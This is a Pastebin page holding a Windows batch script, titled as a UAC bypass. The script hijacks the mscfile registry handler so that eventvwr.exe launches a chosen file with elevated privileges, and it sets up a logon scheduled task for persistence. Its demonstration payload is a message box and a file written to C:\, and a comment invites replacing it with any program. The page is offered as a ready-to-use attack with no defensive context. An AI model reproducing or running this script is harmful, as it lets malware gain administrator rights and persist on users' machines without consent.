Advertisement
e01

BATCH UAC Bypass

e01
May 26th, 2018
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.04 KB | None | 0 0
  1. @ECHO off
  2. TITLE Pope BGNT's UAC bypass
  3.  
  4. DEL %target% /f
  5. ECHO SchTasks /delete /tn "Rebooty Call" /f >%target%
  6. ECHO SchTasks /create /tn "Rebooty Call" /tr "C:\Windows\System32\eventvwr.exe" /sc ONLOGON > %target%
  7.  
  8. ::Set eventvwr to run the above file.
  9. REG ADD "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "%target%" /f
  10.  
  11. ::Run eventvwr.exe to create the logon schedualed task.
  12. START eventvwr.exe
  13.  
  14. ::timeout to allow eventvwr to do it's stuff, otherwise have a race condition.
  15. ::This wont work on Windows XP, replace with a delay using PING
  16. TIMEOUT 1
  17.  
  18. ::Create the payload file, replacing the file created above. THIS IS THE PART YOU SHOULD SWAP FOR YOUR OWN SCRIPT/PROGRAM!
  19. DEL %target% /f
  20. ECHO ECHO result=MsgBox("IT WORKS! IT WORKS! YAY!" , 0+48, "UACBypassed") ^> test.vbs >> %target%
  21. ECHO ECHO WScript.Echo result>> %target%
  22. ECHO test.vbs>> %target%
  23. ECHO DEL test.vbs>>%target%
  24. ECHO ECHO I EXIST AT TIME %%time%% ^> C:\confirmationFile.txt>> %target%
  25.  
  26.  
  27.  
  28. ::start eventvwr and thus the payload file.
  29. START eventvwr.exe
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement